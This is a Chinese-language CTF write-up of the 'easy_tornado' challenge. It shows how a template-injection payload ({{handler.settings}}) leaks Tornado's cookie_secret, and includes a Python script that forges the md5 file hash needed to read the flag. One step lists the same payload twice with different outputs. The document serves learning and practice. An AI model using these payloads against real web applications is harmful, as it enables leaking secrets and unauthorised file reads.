[护网杯 2018]easy_tornado1 write up

[护网杯 2018]easy_tornado1 write up

本题所需知识点:SSTI、文件包含

1 题解

点开题目,发现有3个链接

在这里插入图片描述

分别点开三个链接

file?filename=/flag.txt&filehash=5cb650c67b3f3eb1c3382db985cba60d

在这里插入图片描述

file?/filename=/welcome.txt&filehash=453823f83be22fbffa0f5ba9f7e7e8ba

在这里插入图片描述

file?filename=/hints.txt&filehash=60fa05c4aee970c0ac37c763f48d27c7

在这里插入图片描述

发现存在文件包含漏洞,尝试将flag.txt换成/fllllllllllllag

error?msg=Error

在这里插入图片描述

filename参数改变,filehash也要随之改变,filehash = md5(cookie_secret+md5(filename)),filename有了,就差个cookie_secret

百度搜索下tornado,Tornado是一个基于Python的Web服务框架和异步网络库,看了后端语言是python了

然后就无思路了ORZ。。。。搜索相关资料得知,error?msg=Error这里存在SSTI,主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。

由welcome.txt的render也能得知,render是python的一个渲染函数,服务端在响应 http 请求的时候,去向模板中渲染数据,可以把视图响应给客户端,验证了SSTI的猜测。

构造链接

error?msg={{123}}

输出123

构造

error?msg={{123}}

输出ORZ

构造

error?msg={{datetime}}

输出

在这里插入图片描述

由文档tornado.web — RequestHandler 和 Application 类 — Tornado 4.3 文档
tornado.web — RequestHandler and Application classes — Tornado 6.2.dev1 documentation
Templates and UI — Tornado 6.2.dev1 documentation
得知,cookie_secret保存在settings里,handler是别名,指向RequestHandler而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了。

构造payload

error?msg={{handler.settings}}

不过这里我有疑问,将payload中的handler.settings换成self.application.settings或RequestHandler.application.settings的话,会报错,希望有大佬来解答。

在这里插入图片描述

获取到cookie_secret

在这里插入图片描述

编写python脚本获取filehash,也可以手工在加密网站上加密。

import hashlib

filename = '/fllllllllllllag'
cook = '5fe3f801-8c1f-447c-a1b2-efb8319d3c18'

m_filename = hashlib.md5(filename.encode())
mm = hashlib.md5((cook + m_filename.hexdigest()).encode())

print(m_filename.hexdigest())
print(mm.hexdigest())

在这里插入图片描述

构造payload

file?filename=/fllllllllllllag&filehash=72c9671d69dd7a9db1eb2417ad96108e

成功获取flag

在这里插入图片描述

2 总结

我认为题目的难点在于要掌握SSTI,并且要掌握如何利用。此类题需要多积累,有的时候就是现学现卖,因为模板不一定是见过的,需要找文档,像这次就找资料找了好久。